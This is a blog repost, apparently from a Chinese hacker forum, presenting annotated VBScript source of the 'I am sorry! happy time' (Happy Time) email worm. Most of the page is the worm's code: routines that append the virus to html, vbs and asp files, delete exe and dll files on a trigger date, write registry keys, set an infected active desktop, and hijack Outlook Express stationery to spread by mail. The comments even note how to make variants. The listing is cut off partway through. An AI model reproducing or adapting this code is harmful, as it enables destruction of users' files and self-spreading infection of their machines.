5D艺术网首页
商城
|
资讯
|
作品
|
博客
|
教程
|
论坛
登录
注册
加为好友
发短消息
来自:河北
性别:先生
最后登录:2013-04-14
http://hbwazxf.5d.cn/
曾经有一个漂亮女孩追我的机会摆在我的面前,我没有去珍惜,只到现在我已经结婚了,我才后悔不已。人世间最痛苦的事莫过于此,如果上天再给我一个重新来过的机会,我会对那个女孩说几个字:"放弃我吧!"如果非要在这个选择前加一个期限,我希望是"来世再说!" "咋了哥们?"唉!被人煮了……这就是我的BLOG,欢迎大家参观访问,大家交个朋友!QQ:77356614 mail:waxz33#sohu.com
首页
|
新闻
|
话题
|
博客
|
相册
|
艺术作品
|
社交关系
|
留言板
|
社交圈
2005/06/16 | 网页病毒源码解析
类别(软件破解及黑客技术)
|
评论
(0)
|
阅读(109)
|
发表于 11:01
来源:中国黑客联盟
Rem I am sorry! happy time
On Error Resume Next
Mload
'以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
'建立枚举对象,避开了安全审核
If IsHTML Then
'调用IsHtml函数,如果是Html,就小写……
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
'如果mPath为空,就在C盘下生成Help.htm
Ihtml = ""
'超文本的内容,并指向C:\Help.Htm
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
'设置超时条件
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
'生成Help.hta
End If
End If
End If
Else
Main
'都不是,就执行main函数
End If
End Sub
主函数
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
'不用说,创建FileSystemObject对象啦
Set Od = CreateObject("Scripting.Dictionary")
'创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
'向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER\Software\"
'使用变量以减少代码长度
Ds = Grf()
Cs = Gsf()
If IsVbs Then
'如果是VBS
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
'如果c:\help.htm存在,就删掉,消灭遗留的痕迹
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
'如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
'就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用
End If
Cn = Rg(Ks & "Help\Count")
'读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值
If Cn = "" Then
Cn = 1
'如果Count为0,就设为1
End If
Rw Ks & "Help\Count", Cn + 1
'添加HKEY_CURRENT_USER\Software\Help\Count键值,值为2
f1 = Rg(Ks & "Help\FileName")
'再读HKEY_CURRENT_USER\Software\Help\FileName键值
f2 = FNext(Of, Od, f1)
'得到该文件的文件名
fext = GetExt(Of, Od, f2)
'得到该文件扩展名的代号
Rw Ks & "Help\FileName", f2
'添加键值
If IsDel(fext) Then
'如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2
'储存文件名
f2 = FNext(Of, Od, f2)
'得到文件的文件名?
Rw Ks & "Help\FileName", f2
'写注册表
Of.DeleteFile f3
'删除文件
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
'如果不是集合中的文件
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
'使用 Cint函数强制执行转换,并发邮件
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
'比较桌面墙纸是否已改变
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
'创建超文本
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><
" & "/Body><" & "/HTML>" & mt
'超文本的内容
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
'将带毒的超文本设置成活动桌面
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
'创建vbs文件
fc.Close
bf = Cs & "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
'创建windows下的untitled.htm
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E
xpress\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
'在Hkey_Current_User\Identities\\Software\Microsoft\Outlook Express\5.0\Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name,前两个的值为1,后一个指向windows\untitled.htm
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
'得到windows\web文件夹里的文件
Od.Add "htt", "1100"
'向Dictionary里添加htt项目对
For Each m In gf
'遍历windows\web下的每一个文件
fext = GetExt(Of, Od, m)
'得到每个文件的扩展名
If fext <> "" Then
'如果扩展名不为空,则
Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "<" & "title>I am sorry!'写入I am sorry,并关闭。以此作为感染与否的标记
window.Close
End Sub
'##########################################################################
Sub Fw(Of, S, n)
'此时S为文件名,n为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
'只读模式打开该文件
mt = fc.ReadAll
'读入全部文件流
fc.Close
'关闭文件
If Not Sc(mt) Then
'如果未感染过
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
'打开文件并在文件末尾进行写操作
fc2.Write mt
fc2.Close
Msend (mmail)
'发带毒邮件
End If
End Sub
'############################################################
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
'如果读入的文件流中有Rem I am sorry! happy time
Sc = True
Else
Sc = False
'表示已感染过,返回True,否则为False
End If
End Function
'###########################################################
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
'初始化变量
If Of.FileExists(S) Then
'如果S存在于当前文件夹中
fpath = Of.GetFile(S).ParentFolder
'得到文件的父目录名
fname = S
'得到文件名
ElseIf Of.FolderExists(S) Then
'不存在于当前文件夹中,则得到目录名
fpath = S
T = True
Else
fpath = Dnext(Of, "")
'得到当前盘符——即根目录
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
'得到当前目录下的所有文件对象
For Each m In gf
'遍历每个文件
If T Then
If GetExt(Of, Od, m) <> "" Then
'如果该文件是文件集合中的一员
FNext = m
'则返回该文件名,供调用的函数或过程使用——感染或删除之
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
'如果没文件
T = True
End If
Next
fpath = Pnext(Of, fpath) '
Loop
End Function
0
评论
Comments
日志分类
首页
[651]
生活杂事
[65]
FLASH
[55]
电脑维修经验_软件技巧
[273]
网页制作
[5]
编程宝典
[15]
软件破解及黑客技术
[97]
摄影摄像相关
[73]
个人作品
[17]
LINUX专栏
[46]
健康保典
[2]
玩彩票
[3]
数据恢复
[0]